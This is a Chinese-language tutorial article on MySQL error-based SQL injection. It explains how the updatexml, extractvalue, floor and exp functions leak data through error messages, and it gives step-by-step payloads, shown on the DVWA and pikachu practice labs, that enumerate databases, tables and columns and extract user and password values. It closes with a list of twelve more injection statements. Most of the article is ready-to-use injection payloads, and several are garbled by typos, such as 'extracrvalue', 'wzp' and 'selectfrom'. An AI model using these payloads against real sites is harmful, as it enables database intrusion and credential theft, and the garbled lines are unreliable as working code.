SQL隱碼攻擊報錯注入函數圖文詳解

2022-07-07 18:05:41

前言

報錯注入的前提是當語句發生錯誤時，錯誤資訊被輸出到前端。其漏洞原因是由於開發人員在開發程式時使用了print_r ()，mysql_error()，mysqli_connect_error()函數將mysql錯誤資訊輸出到前端，因此可以通過閉合原先的語句，去執行後面的語句。

常用報錯函數

updatexml() 是mysql對xml檔案資料進行查詢和修改的xpath函數
extractvalue() 是mysql對xml檔案資料進行查詢的xpath函數
floor() mysql中用來取整的函數
exp() 此函數返回e(自然對數的底)指數X的冪值

用法詳解

updatexml()函數

updatexml()函數的作用就是改變（查詢並替換）xml檔案中符合條件的節點的值

語法：updatexml(xml_document,XPthstring,new_value)

第一個引數是字串string(XML檔案物件的名稱)

第二個引數是指定字串中的一個位置（Xpath格式的字串）

第三個引數是將要替換成什麼，string格式

Xpath定位必須是有效的，否則則會發生錯誤。我們就能利用這個特性爆出我們想要的資料

範例

註冊就是往資料庫裡新增資料，insert。

在使用者處輸入單引號報錯

猜測後端語句

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

可以在xxx處對單引號閉合，爆出我們想要的資料

?id=1' or updatexml(0,concat(0x7e,select database()),1)'

閉合單引號使語句逃逸出來，之後重新構造語句查詢，爆破出庫名為："pikachu"

分析過程

當輸入payload

?id=1' or updatexml(0,concat(0x7e,select database()),1)or'

後端會被拼接為

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

表名列名欄位和正常查詢一樣只是換了個位置

利用過程

庫名

1'and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

查表資訊（假定有一個users表，庫名為dvwa

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #

查欄位值（假設欄位名為last_name（dvwa.users意思為呼叫dvwa庫的users表）

1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #

extractvalue()函數

extractvalue()函數的作用是從目標xml中返回包含所查詢值的字串

extractvalue (XML_document, XPath_string);

第一個引數：XML_document是String格式，為XML檔案物件的名稱，文中為doc

第二個引數：XPath_string(Xpath格式的字串)，Xpath定位必須是有效的，否則會發生錯誤

構造payload

?id=1' or extracrvalue(0,concat(0x7e,database())) or '

注意xpath回顯只有一位使用limit函數逐個爆，且最長為32位元，超過32位元爆不了

利用過程

當前庫

1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #

當前表

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

表資訊（假設表為users

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #

欄位值（欄位為user_id，first_name，last_name，（dvwa.users意思為呼叫dvwa庫的users表）

1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #

floor()函數

floor()是mysql的一個取整函數

庫名

id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

表名（庫為dvwa，通過修改 limit 0,1值遞增查表， limit 1,1、limit 2,1

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

欄位名（庫：dvwa，表：users

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#

欄位值（欄位值：user，password（dvwa.users意思為呼叫dvwa庫users表

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

exp()函數

當傳遞一個大於709的值時，函數exp()就會引起一個溢位錯誤。

庫名

id=1' or exp(~(SELECT * from(select database())a)) or '

表名(庫名：pikachu

id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '

欄位名（表名：users

id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '

欄位值（欄位名：password，表名：users

id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '

12種報錯注入函數

1、通過floor報錯,注入語句如下:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通過extractvalue報錯,注入語句如下:

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3、通過updatexml報錯,注入語句如下:

and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4、通過exp報錯,注入語句如下:

and exp(~(select * from (select user () ) a) );

5、通過join報錯,注入語句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

6、通過NAME_CONST報錯,注入語句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c);

7、通過GeometryCollection()報錯,注入語句如下:

and GeometryCollection(()select *from(select user () )a)b );

8、通過polygon ()報錯,注入語句如下:

and polygon (()select * from(select user ())a)b );

9、通過multipoint ()報錯,注入語句如下:

and multipoint (()select * from(select user() )a)b );

10、通過multlinestring ()報錯,注入語句如下:

and multlinestring (()select * from(selectuser () )a)b );

11、通過multpolygon ()報錯,注入語句如下:

and multpolygon (()select * from(selectuser () )a)b );

12、通過linestring ()報錯,注入語句如下:

and linestring (()select * from(select user() )a)b );

總結

到此這篇關於SQL隱碼攻擊報錯注入函數的文章就介紹到這了,更多相關SQL隱碼攻擊報錯注入函數內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com！